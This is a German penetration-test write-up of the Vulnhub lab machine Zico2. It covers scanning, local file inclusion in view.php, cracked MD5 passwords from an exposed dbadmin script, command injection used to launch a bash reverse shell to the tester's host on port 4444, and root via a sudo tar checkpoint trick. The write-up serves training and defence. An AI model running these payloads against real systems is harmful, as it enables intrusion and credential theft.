Zico2 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
nikto
vi
cat
gobuster
curl
wfuzz
msfconsole
dirb
MD5 Cracker (extern)
wget
php (impliziert)
nc
find
ss
su
sudo
tar
python3 (http.server)
python
id
cd
ls

Inhaltsverzeichnis

Reconnaissance

Analyse: Ein ARP-Scan wird ausgeführt, um Hosts im lokalen Netz zu finden.
Bewertung: Das Zielsystem `192.168.2.106` wird identifiziert. Die MAC (`08:00:27:98:69:ca`) weist auf eine VirtualBox VM hin.
Empfehlung (Offensiv): IP für weitere Scans verwenden.

┌──(root㉿cycat)-[~]
└─# arp-scan -l
192.168.2.106	08:00:27:98:69:ca	PCS Systemtechnik GmbH

Analyse: Ein Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) wird durchgeführt und nach offenen Ports gefiltert.
Bewertung: Vier Ports sind offen: 22 (SSH - OpenSSH 5.9p1), 80 (HTTP - Apache 2.2.22), 111 (RPCbind), 47839 (status - RPC). Die SSH- und Apache-Versionen sind sehr alt.
Empfehlung (Offensiv): Webserver (Port 80) und SSH (Port 22) priorisieren. RPC-Dienste untersuchen.
Empfehlung (Defensiv): Alle Dienste (SSH, Apache, RPC) dringend aktualisieren oder entfernen, wenn nicht benötigt. OS (Debian 8 basiert) aktualisieren (EOL).

┌──(root㉿cycat)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.106 -p- | grep open
22/tcp    open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    Apache httpd 2.2.22 ((Ubuntu))
111/tcp   open  rpcbind 2-4 (RPC #100000)
47839/tcp open  status  1 (RPC #100024)

Analyse: Die vollständige Nmap-Ausgabe wird angezeigt.
Bewertung: Bestätigt die Dienste und Versionen. OpenSSH 5.9p1 und Apache 2.2.22 sind sehr veraltet und anfällig. RPCbind und der Status-Dienst sind ebenfalls vorhanden. Der HTTP-Titel ist "Zico's Shop".
Empfehlung (Offensiv): Fokus auf Apache 2.2.22 und die Webanwendung. Bekannte Exploits für SSH 5.9p1 prüfen. RPC-Enumeration (`rpcinfo -p $IP`).
Empfehlung (Defensiv): System und Dienste dringend aktualisieren.

┌──(root㉿cycat)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.106 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-09 00:10 CEST
Nmap scan report for zico (192.168.2.106)
Host is up (0.00011s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 68:60:de:c2:2b:c6:16:d8:5b:88:be:e3:cc:a1:25:75 (DSA)
|   2048 50:db:75:ba:11:2f:43:c9:ab:14:40:6d:7f:a1:ee:e3 (RSA)
|_  256 11:5d:55:29:8a:77:d8:08:b4:00:9b:a3:61:93:fe:e5 (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Zico's Shop
|_http-server-header: Apache/2.2.22 (Ubuntu)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          47165/udp   status
|   100024  1          47839/tcp   status
|   100024  1          49130/udp6  status
|_  100024  1          49291/tcp6  status
47839/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:98:69:CA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms zico (192.168.2.106)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.92 seconds

Web Enumeration & LFI

Analyse: Nikto wird gegen Port 80 ausgeführt.
Bewertung: Findet die üblichen Probleme (ETag-Leak, fehlende Header, veralteter Apache). Directory Indexing für `/css/` und `/img/` wird entdeckt. Wichtig: Identifiziert eine mögliche Remote File Inclusion (RFI) oder LFI in `/view.php?ariadne=http://blog.cirt.net/rfiinc.txt?`. Obwohl die Zuordnung zu RFI/PHP-Nuke falsch sein kann, ist der `view.php`-Endpunkt mit einem Parameter (`ariadne`) hochinteressant. Findet auch `/icons/README` und eine `#wp-config.php#`-Backup-Datei (wahrscheinlich Irreführung). Gibt die PHP-Version 5.3.10 preis.
Empfehlung (Offensiv): Den Endpunkt `/view.php` mit dem Parameter (vermutlich `page` oder `ariadne`?) auf LFI/RFI testen. Die PHP-Version 5.3.10 ist extrem alt und hat viele bekannte Schwachstellen.
Empfehlung (Defensiv): Apache und PHP dringend aktualisieren. LFI/RFI durch sichere Programmierung verhindern. Directory Indexing deaktivieren. Standarddateien/Backups entfernen.

┌──(root㉿cycat)-[~]
└─# nikto -h 192.168.2.106
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.106
+ Target Hostname:    192.168.2.106
+ Target Port:        80
+ Start Time:         2023-09-09 00:10:30 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ /: Server may leak inodes via ETags, header found with file /, inode: 3803593, size: 7970, mtime: Thu Jun  8 21:18:30 2017. [...]
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ Apache/2.2.22 appears to be outdated [...].
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, [...]
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /icons/README: Apache default file found. [...]
+ /view.php?ariadne=http://blog.cirt.net/rfiinc.txt?: Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.26. <-- LFI/RFI Hinweis & PHP Version
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. <-- Wahrscheinlich Irreführung
+ /README.md: Readme Found.
+ 8909 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2023-09-09 00:10:54 (GMT2) (24 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Die IP wird dem Hostnamen `zico.vln` in `/etc/hosts` zugeordnet.
Bewertung: Erleichtert die Ansprache. Korrigiert den vorherigen Eintrag (falls vorhanden) oder fügt ihn hinzu.

┌──(root㉿cycat)-[~]
└─# vi /etc/hosts
 192.168.2.106   zico.vln

Analyse: Gobuster wird zur Verzeichnissuche auf Port 80 verwendet.
Bewertung: Findet `index.html`, `img/`, `tools.html`, `view.php` (leer), `/css/`, `/js/`, `/vendor/`, `package`, `LICENSE`, `/less/`. Bestätigt die Existenz von `view.php`, die Nikto als potenziell verwundbar markiert hat.
Empfehlung (Offensiv): Den LFI-Verdacht bei `view.php` weiter untersuchen.

┌──(root㉿cycat)-[~]
└─# gobuster dir -u http://zico.vln -x [...] -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.5
[...]
===============================================================
[+] Url:                     http://zico.vln
[...]
===============================================================
[...] Starting gobuster in directory enumeration mode
===============================================================
http://zico.vln/index                (Status: 200) [Size: 7970]
http://zico.vln/index.html           (Status: 200) [Size: 7970]
http://zico.vln/img                  (Status: 301) [Size: 302] [--> http://zico.vln/img/]
http://zico.vln/tools                (Status: 200) [Size: 8355]
http://zico.vln/tools.html           (Status: 200) [Size: 8355]
http://zico.vln/view                 (Status: 200) [Size: 0]
http://zico.vln/view.php             (Status: 200) [Size: 0]
http://zico.vln/css                  (Status: 301) [Size: 302] [--> http://zico.vln/css/]
http://zico.vln/js                   (Status: 301) [Size: 301] [--> http://zico.vln/js/]
http://zico.vln/vendor               (Status: 301) [Size: 305] [--> http://zico.vln/vendor/]
http://zico.vln/package              (Status: 200) [Size: 789]
http://zico.vln/LICENSE              (Status: 200) [Size: 1094]
http://zico.vln/less                 (Status: 301) [Size: 303] [--> http://zico.vln/less/]
[...]
===============================================================
[...] Finished
===============================================

Analyse: Versuch, mit `curl` auf den RPC-Statusport (47839) zuzugreifen.
Bewertung: Scheitert mit "Connection refused". Der Port ist zwar laut Nmap offen, akzeptiert aber keine HTTP-Verbindungen.
Empfehlung (Offensiv): Mit `rpcinfo` prüfen, ob der Dienst noch läuft oder ob die Firewall nur Nmap durchließ. Ansonsten diesen Port ignorieren.

┌──(root㉿cycat)-[~]
└─# curl http://zico.vln:47839 -Iv
*   Trying 192.168.2.106:47839...
* connect to 192.168.2.106 port 47839 failed: Connection refused
* Failed to connect to zico.vln port 47839 after 0 ms: Couldn't connect to server
* Closing connection 0
curl: (7) Failed to connect to zico.vln port 47839 after 0 ms: Couldn't connect to server

Analyse: Untersuchung des Quellcodes von `index.html`.
Bewertung: Findet einen Link, der `view.php` mit dem `page`-Parameter verwendet: `/view.php?page=tools.html`. Dies bestätigt den für LFI relevanten Parameter als `page` (nicht `ariadne` wie von Nikto vermutet).
Empfehlung (Offensiv): LFI mit `view.php?page=` testen.

view-source:http://zico.vln/index.html
[...]

Check them out!
[...]

LFI Exploitation (File Reading)

Analyse: Die LFI-Schwachstelle wird mit `view.php?page=../../../../../../../../etc/passwd` ausgenutzt.
Bewertung: Der Inhalt von `/etc/passwd` wird erfolgreich angezeigt. Dies bestätigt die LFI und die Möglichkeit, beliebige Dateien zu lesen. Benutzer mit Shell sind `root` und `zico`.
Empfehlung (Offensiv): Weitere sensible Dateien lesen: `/etc/shadow` (um Passwort-Hashes zu erhalten), `/etc/ssh/sshd_config`, Apache-Konfiguration (`/etc/apache2/apache2.conf`, Site-Konfigs), PHP-Quellcode (`view.php`, `index.php`).
Empfehlung (Defensiv): LFI-Schwachstelle dringend beheben!

view-source:http://zico.vln//view.php?page=../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
ntp:x:103:108::/home/ntp:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
statd:x:105:65534::/var/lib/nfs:/bin/false
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
zico:x:1000:1000:,,,:/home/zico:/bin/bash

Analyse: Die Ausgabe von `/etc/passwd` (via LFI und `curl`) wird mit `grep bash` gefiltert.
Bewertung: Hebt die Benutzer `root` und `zico` hervor, die eine Bash-Login-Shell haben.

┌──(root㉿cycat)-[~]
└─# curl http://zico.vln//view.php?page=../../../../../../../../etc/passwd | grep bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1122  100  1122    0     0   359k      0 --:--:-- --:--:-- --:--:--  547k
root:x:0:0:root:/root:/bin/bash
zico:x:1000:1000:,,,:/home/zico:/bin/bash

Analyse: `wfuzz` wird verwendet, um mit der LFI-Schwachstelle verschiedene Log- und Konfigurationsdateien (aus `logfiles.txt`) zu lesen.
Bewertung: Viele Dateien werden erfolgreich gelesen (HTTP 200, Größe != 0), darunter Apache-Konfigurationen (`apache2.conf`, `sites-available/default`, `ports.conf`, Modul-Konfigs), MySQL-Konfig (`my.cnf`), Systemkonfigs (`passwd`, `fstab`, `hosts`, `crontab`, `resolv.conf`, `sysctl.conf`, `sshd_config`), Prozessinformationen (`cmdline`, `stat`, `status`, `mounts`, `meminfo`, `cpuinfo`) und einige Logdateien (`boot.log`).
Empfehlung (Offensiv): Den Inhalt der gelesenen Dateien analysieren, insbesondere `my.cnf` (DB-Credentials?), `sshd_config` (SSH-Optionen?), `apache2.conf` und Site-Konfigs (Webserver-Struktur, andere virtuelle Hosts?), `crontab` (automatisierte Aufgaben?).
Empfehlung (Defensiv): LFI beheben! Dateiberechtigungen überprüfen, sodass der Webserver-Benutzer keinen Zugriff auf unnötige Konfigurationsdateien hat.

┌──(root㉿cycat)-[~]
└─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://zico.vln/view.php?page=../../../../../FUZZ" --hc 400,401,402,403,404 --hh 0
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://zico.vln/view.php?page=../../../../../FUZZ
[...]
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000081:   200        27 L     33 W       1122 Ch     "/etc/passwd"
000000202:   200        127 L    524 W      3505 Ch     "etc/mysql/my.cnf"
000000402:   200        23 L     104 W      750 Ch      "etc/apache2/ports.conf"
[...]
000000401:   200        237 L    1271 W     8346 Ch     "etc/apache2/apache2.conf"
[...]
000000792:   200        55 L     214 W      1791 Ch     "etc/dhcp/dhclient.conf"
000000852:   200        42 L     122 W      1170 Ch     "proc/meminfo"
[...]
000000860:   200        64 L     290 W      2076 Ch     "etc/bash.bashrc"
000000849:   200        1 L      18 W       144 Ch      "proc/version"
000000832:   200        0 L      1 W        27 Ch       "proc/self/cmdline"
[...]
000000922:   200        16 L     126 W      1002 Ch     "var/log/boot.log"
[...]
000000934:   200        60 L     279 W      2083 Ch     "etc/sysctl.conf"
[...]
000000930:   200        4 L      28 W       194 Ch      "etc/resolv.conf"
[...]
000000946:   200        88 L     313 W      2498 Ch     "etc/ssh/sshd_config"
[...]
000000986:   200        12 L     87 W       688 Ch      "etc/fstab"
[...]
000000989:   200        55 L     55 W       675 Ch      "etc/group"
000000992:   200        15 L     124 W      722 Ch      "etc/crontab"
[...]

Analyse: Der Inhalt von `/etc/apache2/apache2.conf` und `/etc/crontab` wird via LFI angezeigt.
Bewertung: `apache2.conf` zeigt Standard-Apache-Konfiguration. `crontab` zeigt nur Standard-Cronjobs für hourly, daily, weekly, monthly Skripte. Keine benutzerdefinierten Cronjobs als Root oder andere Benutzer sichtbar.
Empfehlung (Offensiv): Diese Dateien liefern keine direkten PE-Vektoren. `/etc/mysql/my.cnf` lesen, um DB-Credentials zu finden.

view-source:http://zico.vln/view.php?page=../../../../../etc/apache2/apache2.conf

# Standard Apache Konfiguration [...]
ServerRoot "/etc/apache2"
[...]
IncludeOptional sites-enabled/*.conf
[...]

view-source:http://zico.vln/view.php?page=../../../../../etc/crontab

# /etc/crontab: system-wide crontab
[...]
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

DBAdmin Exploration & Credential Discovery

Analyse: Ein `dirb`-Scan gegen Port 80 findet das Verzeichnis `/dbadmin/`.
Bewertung: Ein Verzeichnis mit diesem Namen deutet stark auf ein Datenbank-Verwaltungstool hin.
Empfehlung (Offensiv): Das Verzeichnis `/dbadmin/` im Browser aufrufen.

┌──(root㉿cycat)-[~]
└─# dirb http://zico.vln
[...]
---- Scanning URL: http://zico.vln/ ----
[...]
+ http://zico.vln/dbadmin/ (CODE:200|SIZE:416)                                             ==> DIRECTORY
[...]

Analyse: Das Verzeichnis `/dbadmin/` wird aufgerufen. Directory Listing ist aktiv und zeigt eine Datei `test_db.php`.
Bewertung: Eine PHP-Datei zur Datenbank-Interaktion ist ein primäres Ziel für SQL-Injection oder Informationslecks.
Empfehlung (Offensiv): `http://zico.vln/dbadmin/test_db.php` aufrufen und untersuchen.
Empfehlung (Defensiv): Directory Listing deaktivieren. Solche Test- oder Admin-Skripte nicht im Webroot belassen oder stark absichern.

http://zico.vln/dbadmin/

Index of /dbadmin
[ICO] Name            Last modified      Size Description
[PARENTDIR] Parent Directory        -
[ ] test_db.php       08-Jun-2017 14:00  178K
Apache/2.2.22 (Ubuntu) Server at zico.vln Port 80

Analyse: Die Datei `test_db.php` wird aufgerufen. Der Output enthält `pass= admin` (unklar, was das bedeutet) und das Ergebnis einer SQL-Abfrage `SELECT * FROM info`. Diese Tabelle enthält User `root` und `zico` mit MD5-Hashes.
Bewertung: Das Skript führt offenbar eine SQL-Abfrage aus und gibt deren Ergebnis zurück. Die MD5-Hashes sind ein wichtiger Fund.
Empfehlung (Offensiv): Die MD5-Hashes (`653F4...` für root, `96781...` für zico) versuchen online zu cracken (z.B. Crackstation). Prüfen, ob `test_db.php` SQL-Injection-anfällig ist (z.B. durch Manipulation von GET/POST-Parametern).
Empfehlung (Defensiv): Keine Datenbank-Admin-Skripte exponieren. MD5 ist keine sichere Hashing-Methode mehr, stärkere Algorithmen (bcrypt, Argon2) verwenden. Keine sensiblen Daten (wie Hashes) direkt ausgeben.

http://zico.vln/dbadmin/test_db.php
pass= admin

SELECT * FROM "info" WHERE 1
root    653F4B285089453FE00E2AAFAC573414    1
zico    96781A607F4E9F5F423AC01F0DAB0EBD    2

Analyse: Die MD5-Hashes werden erfolgreich gecrackt.
Bewertung:

Dies sind die Passwörter für die Systembenutzer.
Empfehlung (Offensiv): Das Passwort für `zico` (`zico2215@`) verwenden, um sich per SSH (Port 3333) anzumelden oder `su` zu verwenden, falls bereits eine Shell vorhanden ist.
Empfehlung (Defensiv): MD5 nicht verwenden. Starke, einzigartige Passwörter erzwingen.

96781A607F4E9F5F423AC01F0DAB0EBD    md5 zico2215@
653F4B285089453FE00E2AAFAC573414    md5 34kroot34

DBAdmin Command Injection

Analyse: Der Text zeigt, dass über `test_db.php` offenbar Tabellen erstellt und mit PHP-Code befüllt werden können. Es wird eine Tabelle `shell` mit PHP-Code (`wget...; php...`) erstellt. Dann wird versucht, diesen Code über die LFI in `view.php` auszuführen, indem auf eine Datei `/usr/databases/test.php` zugegriffen wird (die vermutlich den Inhalt der `shell`-Tabelle enthält oder ausführt).
Bewertung: Dies deutet auf eine sehr unsichere Implementierung von `test_db.php` hin, die SQL-Injection und/oder das Schreiben von PHP-Code in Dateien ermöglicht, welche dann per LFI ausgeführt werden können. Der Pfad `/usr/databases/test.php` ist ungewöhnlich.
Annahme/Korrektur basierend auf späterem Text: Der spätere Text zeigt eine erfolgreichere Methode über `/usr/databases/drop.php` und einen `cmd`-Parameter. Es ist wahrscheinlich, dass die SQLi/File-Write-Methode hier entweder eine Sackgasse war oder im Bericht unvollständig dargestellt ist. Der Fokus liegt auf der funktionierenden Command Injection.

http://zico.vln/dbadmin/test_db.php?action=table_create&confirm=1

Table 'shell' has been created.
CREATE TABLE 'shell' ('shell' TEXT default ' ')

Versuch der Ausführung via LFI:
http://192.168.2.106/view.php?page=../../../../../usr/databases/test.php

Analyse: Es wird eine andere Datei `/usr/databases/drop.php` über die LFI in `view.php` aufgerufen, diesmal aber mit einem zusätzlichen Parameter `cmd=id`.
Bewertung: Die Ausgabe `uid=33(www-data)...` innerhalb der (scheinbar) SQLite-Fehlermeldung zeigt, dass der `cmd`-Parameter erfolgreich ausgeführt wird! Dies bestätigt eine Command Injection-Schwachstelle, die über die LFI getriggert wird. Die Datei `drop.php` enthält wahrscheinlich Code wie `system($ GET['cmd'])` oder ähnlich.
Empfehlung (Offensiv): Diese kombinierte LFI + Command Injection nutzen, um eine Reverse Shell zu erhalten.
Empfehlung (Defensiv): LFI beheben! Command Injection beheben (Eingabevalidierung).

http://192.168.2.106/view.php?page=../../../../../usr/databases/drop.php&cmd=id

SQLite format 3@ table11 CREATE TABLE '1' ('1' TEXT default 'uid=33(www-data) gid=33(www-data) groups=33(www-data) ')

Initial Access (Reverse Shell)

Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Über die LFI + Command Injection Schwachstelle wird ein Bash-Reverse-Shell-Payload ausgeführt.
Bewertung: Die Verbindung kommt auf dem Listener an. Der Angreifer erhält eine Shell als `www-data`.
Ergebnis: Erfolgreicher Initial Access als `www-data`.
Empfehlung (Offensiv): Shell stabilisieren und mit PE-Enumeration beginnen. Das gefundene Passwort für `zico` (`zico2215@`) verwenden, um mittels `su zico` die Rechte zu erhöhen.
Empfehlung (Defensiv): LFI und Command Injection beheben. Egress-Filtering.

Payload:http://192.168.2.106/view.php?page=../../../../../usr/databases/drop.php&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
┌──(root㉿cycat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 38043
bash: no job control in this shell
www-data@zico:/var/www$

Privilege Escalation (Enumeration)

Analyse: Als `www-data` wird die `view.php`-Datei gelesen, Netzwerkverbindungen (`ss`) und SUID-Dateien (`find`) überprüft.
Bewertung: `cat view.php` bestätigt die extrem unsichere LFI: `include("/var/www/".$page);`. `ss` zeigt die bekannten Ports und MySQL lokal. Die SUID-Suche findet Standard-Binaries, darunter `sudo` und `exim4` (ältere Mailserver-Version, könnte interessant sein).
Empfehlung (Offensiv): Den Benutzerkontext mit `su zico` und dem gecrackten Passwort wechseln.

www-data@zico:/var/www$ cat view.php

www-data@zico:/var/www$ ss -altpn
State      Recv-Q Send-Q        Local Address:Port          Peer Address:Port
LISTEN     0      50                127.0.0.1:3306                     *:*
LISTEN     0      128                      *:111                     :*
LISTEN     0      128                       *:111                      *:*
LISTEN     0      128                      *:80                      *:*
LISTEN     0      128                      *:53428                   :*
LISTEN     0      128                      *:22                      *:*
LISTEN     0      128                       *:22                       *:*
LISTEN     0      128                       *:41182                    *:*
LISTEN     0      128               127.0.0.1:9000                     *:*      users:(("php5-fpm",974,0)[...])
ww-data@zico:/var/www$ find / -type f -perm -4000 -ls 2>/dev/null
4456654  288 -rwsr-xr--   1 root     messagebus   292944 Oct 12  2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
4457709  236 -rwsr-xr-x   1 root     root       240984 Aug 11  2016 /usr/lib/openssh/ssh-keysign
3538996   12 -rwsr-xr-x   1 root     root        10408 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
3416117  316 -rwsr-xr--   1 root     dip        321552 Apr 21  2015 /usr/sbin/pppd
3416424   20 -rwsr-sr-x   1 libuuid  libuuid     18856 Jun 18  2014 /usr/sbin/uuidd
3412904   72 -rwsr-xr-x   2 root     root        71280 Mar 12  2015 /usr/bin/sudo
[...]
23671 1008 -rwsr-xr-x   1 root     root      1031296 Feb 10  2018 /usr/sbin/exim4 <-- Exim might be interesting
[...]

Analyse: Es wird versucht, `su zico` mit dem Passwort `zico2215@` auszuführen.
Bewertung: Der Befehl scheint zu funktionieren (keine Fehlermeldung), und der Prompt ändert sich zu `zico@zico`.
Empfehlung (Offensiv): `sudo -l` als `zico` ausführen.

www-data@zico:/home/zico/wordpress$ su zico
Password: zico2215@
zico@zico/wordpress$

Privilege Escalation (Sudo Tar)

Analyse: Als Benutzer `zico` wird `sudo -l` ausgeführt.
Bewertung: `zico` darf `/bin/tar` und `/usr/bin/zip` als `root` ohne Passwort (`NPASSWD`) ausführen. Dies sind bekannte GTFOBins-Vektoren.
Empfehlung (Offensiv): Die `tar`-Berechtigung mit Checkpoints missbrauchen, um eine Root-Shell zu erhalten.
Empfehlung (Defensiv): Niemals Tools wie `tar` oder `zip`, die beliebige Befehle ausführen oder Dateien manipulieren können, mit `sudo` erlauben, schon gar nicht mit `NOPASSWD`.

zico@zico/wordpress$ sudo -l
Matching Defaults entries for zico on this host:
    env_reset, exempt_group=admin,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User zico may run the following commands on this host:
    (root) NPASSWD: /bin/tar
    (root) NPASSWD: /usr/bin/zip

Analyse: Die GTFOBins-Payload für `tar` wird ausgeführt: `sudo -u root tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh`.
Bewertung: Der `tar`-Befehl wird als `root` ausgeführt. Die Option `--checkpoint=1` sorgt dafür, dass nach jedem verarbeiteten Record (hier effektiv sofort) eine Aktion ausgeführt wird. Die Option `--checkpoint-action=exec=/bin/sh` legt fest, dass `/bin/sh` ausgeführt wird. Da `tar` als Root läuft, wird auch `/bin/sh` als Root gestartet.
Ergebnis: Privilege Escalation erfolgreich! Der Prompt wechselt zu `#`, und `id` bestätigt Root-Rechte.
Empfehlung (Offensiv): Root-Shell nutzen.
Empfehlung (Defensiv): Unsichere `sudo`-Regeln entfernen.

zico@zico/wordpress$ sudo -u root tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# id
uid=0(root) gid=0(root) groups=0(root)

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Proof of Concept (LFI)

Schwachstelle: Local File Inclusion (LFI) im `page`-Parameter von `view.php` aufgrund von `include("/var/www/".$page);` ohne ausreichende Validierung.
Ziel des POC: Nachweis, dass durch Manipulation des `page`-Parameters beliebige lokale Dateien gelesen werden können.
Voraussetzungen: Zugriff auf den Webserver auf Port 80.

Schritt 1: Identifizierung der Schwachstelle

Analyse: Nikto meldete eine potenzielle LFI/RFI in `view.php`. Der Quellcode von `index.html` zeigte die Verwendung von `view.php?page=tools.html`.

Schritt 2: Ausnutzung zum Lesen von /etc/passwd

Analyse: Die URL `http://zico.vln/view.php?page=../../../../../../../../etc/passwd` wurde aufgerufen.
Bewertung: Der Inhalt von `/etc/passwd` wurde erfolgreich im Browser angezeigt, was die LFI bestätigt.

Schritt 3: Ausnutzung zum Lesen von Konfigurationsdateien

Analyse: Mittels `wfuzz` und einer Liste von Log-/Konfig-Dateien wurden zahlreiche weitere Dateien wie `/etc/apache2/apache2.conf`, `/etc/mysql/my.cnf`, `/etc/ssh/sshd_config` etc. erfolgreich gelesen.
Ergebnis des POC: Die LFI-Schwachstelle ermöglicht das Auslesen beliebiger Dateien, auf die der Webserver-Benutzer (`www-data`) Lesezugriff hat.
Risikobewertung: Hoch.
Empfehlung (Defensiv): Benutzereingaben niemals direkt in `include`/`require` verwenden. Whitelist-Validierung für erlaubte Seiten implementieren. Path Traversal verhindern. PHP-Konfiguration härten (`open_basedir`).

Proof of Concept (DBAdmin SQLi/PHP Injection)

Schwachstelle: Ein PHP-Skript (`/dbadmin/test_db.php`) gibt MD5-Hashes aus einer Datenbank aus und erlaubt (basierend auf den Aktionen im Text) offenbar das Erstellen von Tabellen und das Einfügen von PHP-Code, der dann über LFI ausgeführt werden kann. Dies deutet auf SQL-Injection oder eine unsichere Dateischreibfunktion hin.
Alternativer Vektor (im Text genutzt):** Eine andere Datei (`/usr/databases/drop.php`), die via LFI erreichbar ist, akzeptiert einen `cmd`-Parameter, der direkt ausgeführt wird (Command Injection).
Ziel des POC: Nachweis, dass entweder durch Manipulation von `test_db.php` oder durch die LFI+Command Injection in `drop.php` Code als `www-data` ausgeführt werden kann.
Voraussetzungen: Zugriff auf Port 80. Kenntnis der Pfade (`/dbadmin/test_db.php` oder LFI + `/usr/databases/drop.php`).

Schritt 1: Entdeckung von test_db.php und Hashes

Analyse: `dirb` fand `/dbadmin/`, darin `test_db.php`. Beim Aufruf zeigte die Seite MD5-Hashes für `root` und `zico`.

Schritt 2: (Alternativer/Genutzter Weg) LFI + Command Injection

Analyse: Die URL `http://192.168.2.106/view.php?page=../../../../../usr/databases/drop.php&cmd=id` wurde aufgerufen.
Bewertung: Die Ausgabe `uid=33(www-data)...` bestätigte die erfolgreiche Command Injection.

Schritt 3: Ausführung einer Reverse Shell

Analyse: Ein Bash-Reverse-Shell-Payload wurde URL-kodiert und über den `cmd`-Parameter in der LFI-URL ausgeführt.
Ergebnis des POC: Eine Reverse Shell als `www-data` wurde erfolgreich auf dem Listener des Angreifers empfangen.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): LFI beheben! Command Injection durch strikte Eingabevalidierung und Vermeidung von `system()`/`exec()` mit Benutzereingaben verhindern. Keine Admin-/Test-Skripte im Webroot belassen. Datenbankzugriffe absichern.

Proof of Concept (Sudo Tar Abuse)

Schwachstelle: Unsichere `sudoers`-Konfiguration, die dem Benutzer `zico` erlaubt, `/bin/tar` als Root ohne Passwort auszuführen (`(root) NPASSWD: /bin/tar`).
Ziel des POC: Nachweis, dass durch spezielle `tar`-Optionen (`--checkpoint`, `--checkpoint-action=exec=...`) beliebige Befehle als Root ausgeführt werden können.
